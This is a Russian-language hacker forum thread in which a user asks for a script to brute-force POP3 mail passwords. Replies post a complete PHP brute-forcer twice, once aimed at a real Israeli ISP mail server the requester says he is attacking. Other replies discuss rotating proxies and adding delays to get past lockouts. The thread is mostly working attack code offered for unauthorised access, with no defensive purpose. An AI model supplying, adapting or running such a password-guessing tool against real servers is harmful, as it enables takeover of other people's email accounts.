Нужен скрипт на пхп иле перл.

[Mo4x]

-Всем привет,я очень нуждаюсь в скрипте для брута поп3 на пхп иле перл.
-Помогите кто может.

[halkfild]

вот елементарный пример.. мона прикрутить поддержку проксей и тд..


<?
/*

Simple POP3 Bruter v 0.2

30/05/05 (с) drmist

*/

$port=110;
$host='127.0.0.1';
$login='user';
$passwords="passwords.txt";

set_time_limit(0);

$FID=fopen($passwords,"r");

while(!feof($FID))
{
$pass=str_replace("\r","",fgets($FID));
$pass=str_replace("\n","",$pass);

echo "$pass<br>\r\n";
flush();

$s=fsockopen($host, $port);

if(!$s)
die("Не могу соединиться <b>[$host:$port]</b>!");

$line=fread($s, 256);

if(!ereg("\+OK(.*)",$line))
die("Хрень какая-то. Ты точно на pop сервер коннектишься?");

fputs($s,"USER $login\r\n");

$line=fread($s, 256);

if(ereg("-ERR(.*)",$line))
die("Неверный логин <b>$login</b>!");

fputs($s,"PASS $pass\r\n");

$line=fread($s, 256);

if(!ereg("-ERR(.*)",$line))
die("Пароль найден: <b>$pass</b>!");

fclose($s);
}

echo "Работа завершина. Пароль не найден =((";

?>


взято отсюда
_http://www.security-teams.net/board/index.php?act=ST&f=15&t=1063
(с) drmist

[Mo4x]

halkfild,Проверяй работоспособность скриптов :) ато этот не работает.

[D Mak]

halkfild,Проверяй работоспособность скриптов ато этот не работает.
все работает, тока что проверил
или ты локалхост брутить пытаешься?))

[Y.Dmitriy]

Жалко что проксиков нет(хотя на халяву не так уж и сложно написать) а толку без них никакого ибо больше пяти запросов(к почте) ты вряд ли пошлёшь - забанять...

[C!klodoL]

Жалко что проксиков нет(хотя на халяву не так уж и сложно написать) а толку без них никакого ибо больше пяти запросов(к почте) ты вряд ли пошлёшь - забанять...
а еще один цикл со сменой прокси трудно дописать? а вообще чтобы через прокси брутить их понадобятся тысячи

[Mo4x]

D Mak
Проверь хорошо есле скрипт пашет .
Пытаюсь брутить на хост 194,90,5,5 netvision.net.il можеш попробывать.

[halkfild]

halkfild,Проверяй работоспособность скриптов ато этот не работает.

вроде работает.. пропиши адресс сервера и юзай..

[LolFEm]

Интересно узнать бы через сколько запросов неверных POP3 банит входящие соединения... и в случаее чего всё таки можно Sleep() прикрутить , если всё таки с проксиками нехочеться замарачиваться....

[D Mak]

Mo4x™ ? действительно, у мня первый пасс выдавал..
щас испробуй..

<?
/*

Simple POP3 Bruter v 0.2

30/05/05 (с) drmist

*/

$port=110;
$host='pop3.netvision.net.il';
$login='login';
$passwords="passwords.txt";

set_time_limit(0);

$FID=fopen($passwords,"r");

while(!feof($FID))
{
$pass=str_replace("\r","",fgets($FID));
$pass=str_replace("\n","",$pass);

echo "$pass<br>\r\n";
flush();

$s=fsockopen($host, $port);

if(!$s)
die("Не могу соединиться <b>[$host:$port]</b>!");

$line=fread($s, 256);

if(!ereg("\+OK(.*)",$line))
die("Хрень какая-то. Ты точно на pop сервер коннектишься?");

fputs($s,"USER $login\r\n");

$line=fread($s, 256);

if(ereg("-ERR(.*)",$line))
die("Неверный логин <b>$login</b>!");

fputs($s,"PASS $pass\r\n");

$line=fread($s, 256);

if(ereg("(OK)",$line))
die("Пароль найден: <b>$pass</b>!");

fclose($s);
}

echo "Работа завершина. Пароль не найден =((";

?>

[halkfild]

D Mak
только укажи свой логин на этом почтовике..
и дав список пасов вместе с своим :) тогда и мы сбрутим..

[Helios]

Юзай поиск по форуму

http://forum.antichat.ru/thread45421-pop3.html

[Mo4x]

Helios, пробовал тоже но я не очень выдающи программист инезнаю как надо менять в этом scriot's запросы к серверу и как анализировать его ответ .Есле ктото може помочь с запросами на сервер стучите в аську 343637
D Mak,не непашет :(

[Mo4x]

Помогите разобраться с запросами на сервер иле дайте что нить почитать про то как делать брут поп3 ...

[D Mak]

Помогите разобраться с запросами на сервер иле дайте что нить почитать про то как делать брут поп3 ...
испытать запросы можешь вручную через телнет